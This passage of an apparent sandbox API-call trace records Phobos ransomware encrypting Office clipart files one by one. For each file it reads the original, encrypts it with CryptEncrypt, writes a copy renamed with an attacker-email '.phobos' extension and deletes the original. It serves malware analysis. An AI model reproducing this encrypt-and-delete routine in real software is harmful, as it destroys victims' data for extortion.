Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0135.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.246] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.246] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.246] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0135.246] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.246] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xfc0, lpOverlapped=0x0) returned 1 [0135.277] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xfd0, dwBufLen=0xfd0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xfd0) returned 1 [0135.277] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xfd0, lpOverlapped=0x0) returned 1 [0135.278] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e98) returned 1 [0135.278] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.278] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.278] CryptDestroyKey (hKey=0x752e98) returned 1 [0135.278] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.278] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.278] CloseHandle (hObject=0x2e4) returned 1 [0135.278] CloseHandle (hObject=0x308) returned 1 [0135.278] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0135.279] SetEvent (hEvent=0x2b8) returned 1 [0135.279] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.280] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4340) returned 1 [0135.280] CloseHandle (hObject=0x308) returned 1 [0135.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0135.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.280] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.280] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.280] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753018) returned 1 [0135.280] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.280] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x10f4, lpOverlapped=0x0) returned 1 [0135.335] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1100, dwBufLen=0x1100 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1100) returned 1 [0135.335] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1100, lpOverlapped=0x0) returned 1 [0135.336] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0135.336] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.336] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.336] CryptDestroyKey (hKey=0x753158) returned 1 [0135.336] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.336] CryptDestroyKey (hKey=0x753018) returned 1 [0135.336] CloseHandle (hObject=0x308) returned 1 [0135.336] CloseHandle (hObject=0x2e4) returned 1 [0135.336] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0135.337] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.337] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2848) returned 1 [0135.337] CloseHandle (hObject=0x2e4) returned 1 [0135.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0135.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.338] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.338] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.338] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753198) returned 1 [0135.338] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.338] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xb20, lpOverlapped=0x0) returned 1 [0135.379] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb30, dwBufLen=0xb30 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb30) returned 1 [0135.379] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xb30, lpOverlapped=0x0) returned 1 [0135.381] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753098) returned 1 [0135.381] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.381] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.381] CryptDestroyKey (hKey=0x753098) returned 1 [0135.381] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.381] CryptDestroyKey (hKey=0x753198) returned 1 [0135.381] CloseHandle (hObject=0x2e4) returned 1 [0135.381] CloseHandle (hObject=0x308) returned 1 [0135.381] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0135.382] SetEvent (hEvent=0x2b8) returned 1 [0135.382] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.384] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1148) returned 1 [0135.384] CloseHandle (hObject=0x308) returned 1 [0135.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0135.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.384] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.384] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.384] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0135.385] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.385] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x47c, lpOverlapped=0x0) returned 1 [0135.406] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x480, dwBufLen=0x480 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x480) returned 1 [0135.406] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x480, lpOverlapped=0x0) returned 1 [0135.463] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e58) returned 1 [0135.463] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.463] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.463] CryptDestroyKey (hKey=0x752e58) returned 1 [0135.463] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.463] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.463] CloseHandle (hObject=0x308) returned 1 [0135.463] CloseHandle (hObject=0x2e4) returned 1 [0135.463] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0135.464] SetEvent (hEvent=0x2b8) returned 1 [0135.464] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.464] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1268) returned 1 [0135.464] CloseHandle (hObject=0x2e4) returned 1 [0135.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0135.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.465] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.465] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.465] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ad8) returned 1 [0135.465] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.465] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x4f4, lpOverlapped=0x0) returned 1 [0135.526] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x500, dwBufLen=0x500 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x500) returned 1 [0135.526] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x500, lpOverlapped=0x0) returned 1 [0135.527] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752b18) returned 1 [0135.527] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.527] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.527] CryptDestroyKey (hKey=0x752b18) returned 1 [0135.527] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.527] CryptDestroyKey (hKey=0x752ad8) returned 1 [0135.527] CloseHandle (hObject=0x2e4) returned 1 [0135.527] CloseHandle (hObject=0x308) returned 1 [0135.527] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0135.528] SetEvent (hEvent=0x2b8) returned 1 [0135.528] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.528] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5000) returned 1 [0135.528] CloseHandle (hObject=0x308) returned 1 [0135.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0135.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.529] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.529] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.529] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752f18) returned 1 [0135.529] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.529] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1388, lpOverlapped=0x0) returned 1 [0135.567] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1390, dwBufLen=0x1390 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1390) returned 1 [0135.567] 